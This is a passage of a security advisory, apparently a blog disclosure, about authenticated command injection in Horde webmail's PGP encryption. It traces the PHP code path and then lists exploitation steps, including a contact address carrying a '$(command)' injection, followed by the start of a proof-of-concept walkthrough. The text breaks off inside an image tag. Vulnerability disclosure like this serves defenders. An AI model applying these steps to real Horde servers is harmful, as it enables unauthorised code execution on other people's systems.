class=\"crayon-v\">addresses<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37276c127677309-2\"><span class=\"crayon-c\">\/* 537 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">symmetric<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37276c127677309-3\"><span class=\"crayon-c\">\/* 538 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37276c127677309-4\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37276c127677309-5\"><span class=\"crayon-c\">\/* 546 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">addr_list<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37276c127677309-6\"><span class=\"crayon-c\">\/* 548 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">foreach<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-e\">addresses <\/span><span class=\"crayon-st\">as<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">val<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37276c127677309-7\"><span class=\"crayon-c\">\/* 549 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/* Get the public key for the address. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37276c127677309-8\"><span class=\"crayon-c\">\/* 550 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">bare_addr<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">val<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-v\">bare_address<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37276c127677309-9\"><span class=\"crayon-c\">\/* 551 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">addr_list<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">bare_addr<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getPublicKey<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">bare_addr<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37276c127677309-10\"><span class=\"crayon-c\">\/* 552 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37276c127677309-11\"><span class=\"crayon-c\">\/* 554 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;recips&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">addr_list<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37276c127677309-12\"><span class=\"crayon-c\">\/* 555 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0015 seconds] -->  <\/p>\n<p>Horde will add to each address its Public Key. There a few source of Public Keys:<\/p>\n<ul>\n<li>AddressBook (we will use this source)<\/li>\n<li>Servers with Public Keys<\/li>\n<\/ul>\n<p>Note that Horde should be able to find Public Key for our \u201c<em>From<\/em>\u201d address as well.<br \/> We can generate pair of PGP keys (https is required) or we can use the same trick with <em>AddressBook<\/em> (we can create some contact, add any valid Public PGP key, and add this address to default identity) <em>encryptMimePart()<\/em> will call <em>encrypt()<\/em> method<\/p>\n<p>Path: <em>\/Horde\/Crypt\/Pgp.php<\/em><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b37276f713919904\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 773 *\/ public function encryptMIMEPart($mime_part, $params = array())  \/* 774 *\/ {  \/* 775 *\/ $params = array_merge($params, array(&#8216;type&#8217; =&gt; &#8216;message&#8217;));  \/* \u2026 *\/  \/* 781 *\/ $message_encrypt = $this-&gt;encrypt($signenc_body, $params);<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37276f713919904-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37276f713919904-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37276f713919904-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37276f713919904-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37276f713919904-5\">5<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b37276f713919904-1\"><span class=\"crayon-c\">\/* 773 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">encryptMIMEPart<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">mime_part<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37276f713919904-2\"><span class=\"crayon-c\">\/* 774 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37276f713919904-3\"><span class=\"crayon-c\">\/* 775 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">array_merge<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;type&#8217;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-o\">&gt;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;message&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37276f713919904-4\"><span class=\"crayon-c\">\/* \u2026 *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37276f713919904-5\"><span class=\"crayon-c\">\/* 781 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">message_encrypt<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">encrypt<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">signenc_body<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0014 seconds] -->  <\/p>\n<p>It will call <em>encryptMessage()<\/em><\/p>\n<p>Path: <em>\/Horde\/Crypt\/Pgp.php<\/em><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b372772059911525\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 554 *\/ public function encrypt($text, $params = array())  \/* 555 *\/ {  \/* 556 *\/ switch (isset($params[&#8216;type&#8217;]) ? $params[&#8216;type&#8217;] : false) {  \/* 557 *\/ case &#8216;message&#8217;:  \/* 558 *\/ $error = Horde_Crypt_Translation::t(  \/* 559 *\/ &#8220;Could not PGP encrypt message.&#8221;  \/* 560 *\/ );  \/* 561 *\/ $func = &#8216;encryptMessage&#8217;;  \/* 562 *\/ break;  \/* &#8230; *\/  \/* 586 *\/ $this-&gt;_initDrivers();  \/* 587 *\/  \/* 588 *\/ foreach ($this-&gt;_backends as $val) {  \/* 589 *\/ try {  \/* 590 *\/ return $val-&gt;$func($text, $params);  \/* 591 *\/ } catch (Horde_Crypt_Exception $e) {}  \/* 592 *\/ }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372772059911525-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372772059911525-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372772059911525-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372772059911525-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372772059911525-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372772059911525-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372772059911525-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372772059911525-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372772059911525-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372772059911525-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372772059911525-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372772059911525-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372772059911525-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372772059911525-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372772059911525-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372772059911525-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372772059911525-17\">17<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b372772059911525-1\"><span class=\"crayon-c\">\/* 554 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">encrypt<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372772059911525-2\"><span class=\"crayon-c\">\/* 555 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372772059911525-3\"><span class=\"crayon-c\">\/* 556 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">switch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">isset<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;type&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;type&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">false<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372772059911525-4\"><span class=\"crayon-c\">\/* 557 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">case<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;message&#8217;<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372772059911525-5\"><span class=\"crayon-c\">\/* 558 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">error<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Horde_Crypt_Translation<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-e\">t<\/span><span class=\"crayon-sy\">(<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372772059911525-6\"><span class=\"crayon-c\">\/* 559 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;Could not PGP encrypt message.&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372772059911525-7\"><span class=\"crayon-c\">\/* 560 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372772059911525-8\"><span class=\"crayon-c\">\/* 561 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">func<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8216;encryptMessage&#8217;<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372772059911525-9\"><span class=\"crayon-c\">\/* 562 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372772059911525-10\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372772059911525-11\"><span class=\"crayon-c\">\/* 586 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">_initDrivers<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372772059911525-12\"><span class=\"crayon-c\">\/* 587 *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372772059911525-13\"><span class=\"crayon-c\">\/* 588 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">foreach<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">_backends <\/span><span class=\"crayon-st\">as<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">val<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372772059911525-14\"><span class=\"crayon-c\">\/* 589 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372772059911525-15\"><span class=\"crayon-c\">\/* 590 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">val<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-e\">func<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">text<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">params<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372772059911525-16\"><span class=\"crayon-c\">\/* 591 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">catch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">Horde_Crypt<\/span><span class=\"crayon-sy\">_<\/span>Exception<span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">e<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372772059911525-17\"><span class=\"crayon-c\">\/* 592 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0031 seconds] -->  <\/p>\n<p><u>In conclusions:<\/u><br \/> If Horde server has enabled &#8220;<em>GnuPG feature<\/em>&#8221; any unprivileged user is able to execute arbitrary code.<\/p>\n<ol>\n<li>Enable GPG feature for attacker account (\u201cEnable PGP functionality?\u201d checkbox on \u201cPGP Configure PGP encryption support.\u201d section in Prefferences-&gt;Mail page )<\/li>\n<li>Create some contact in the attacker AddressBook, add any valid Public PGP key, and add this address to default identity<\/li>\n<li>Create another contact in the attacker AddressBook, add any valid Public PGP key, and change email address to some$(desired command to execute) contact@somedomain.com<\/li>\n<li>Create a new message to some$(desired command to execute) contact@somedomain.com<\/li>\n<li>Choose <strong>Encryption:PGP Encrypt Message<\/strong> option<\/li>\n<li>Click Send button<\/li>\n<\/ol>\n<p>And desired command will be executed on the Horde server.<\/p>\n<p><strong>Proof of Concept &#8211; Authenticated Code Execution<\/strong><\/p>\n<p>For Proof of Concept we can use preconfigured image of Horde server from Bitnami (Bitnami &#8211; &#8220;Easy to use cloud images, containers, and VMs that work on any platform&#8221;):<\/p>\n<p><a href=\"https:\/\/downloads.bitnami.com\/files\/stacks\/horde\/5.2.17-0\/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova\" target=\"_blank\">https:\/\/downloads.bitnami.com\/files\/stacks\/horde\/5.2.17-0\/bitnami-horde-5.2.17-0-linux-ubuntu-14.04-x86_64.ova<\/a><\/p>\n<p>Step 1 &#8211; Login as admin (by default user:bitnami) and go to <em>Administration -&gt; Configuration<\/em> and choose <em>Horde<\/em> (horde). Open <em>GnuPG<\/em> tab, enter <em>\/usr\/bin\/gpg into $conf[gnupg][path]<\/em> setting and click &#8220;<em>Generate Horde Configuration<\/em>&#8220;:<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-1.jpg\" data-slb-active=\"1\" data-slb-asset=\"1474628091\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3111\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-1-300x214.jpg\" alt=\"\" width=\"300\" height=\"214\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-1-300x214.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-1-768x549.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-1-1024x732.jpg 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-1.jpg 1219w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Now we have enabled GPG feature on our server and we can login as regular user and try to execute desired commands. But Bitnami image does not have installed and configured Mail server so we need to use external one or install it on local machine.<\/p>\n<p>We will use gmail account (to be able to login to it from Horde I had to change Gmail account setting Allow less secure apps: ON).<\/p>\n<p>To use external Mail server we need to change the next setting: <em>&#8220;Administrator Panel&#8221; -&gt; &#8220;Configuration&#8221; -&gt; &#8220;Horde&#8221; -&gt; &#8220;Authentication&#8221;<\/em><\/p>\n<p>Step 2 &#8211; Configure Horde web-mail authentication (<strong>$conf[auth][driver]<\/strong>) to &#8220;<strong>Let a Horde application handle authentication<\/strong>&#8221; and click \u201cGenerate Horde Configuration\u201d:<\/p>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-2.jpg\" data-slb-active=\"1\" data-slb-asset=\"676856570\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3112\" src=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-2-300x215.jpg\" alt=\"\" width=\"300\" height=\"215\" srcset=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-2-300x215.jpg 300w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-2-768x550.jpg 768w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-2-1024x733.jpg 1024w, https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-2.jpg 1160w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>Step 3 &#8211; logout and login with your gmail account. Currently we are login as regular user so we can try to execute desired commands:<\/p>\n<ol> <\/ol>\n<ol>\n<li>Go to <em>Preferences<\/em> -&gt; <em>Mail<\/em> and click on <em>PGP<\/em> link. Check Enable PGP functionality? checkbox and click \u201c<em>Save<\/em>\u201d:<\/li>\n<\/ol>\n<p><a href=\"https:\/\/blogs.securiteam.com\/wp-content\/uploads\/2017\/04\/Horde-ACE-3.jpg\" data-slb-active=\"1\" data-slb-asset=\"421176822\" data-slb-internal=\"0\" data-slb-group=\"3107\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3113\" 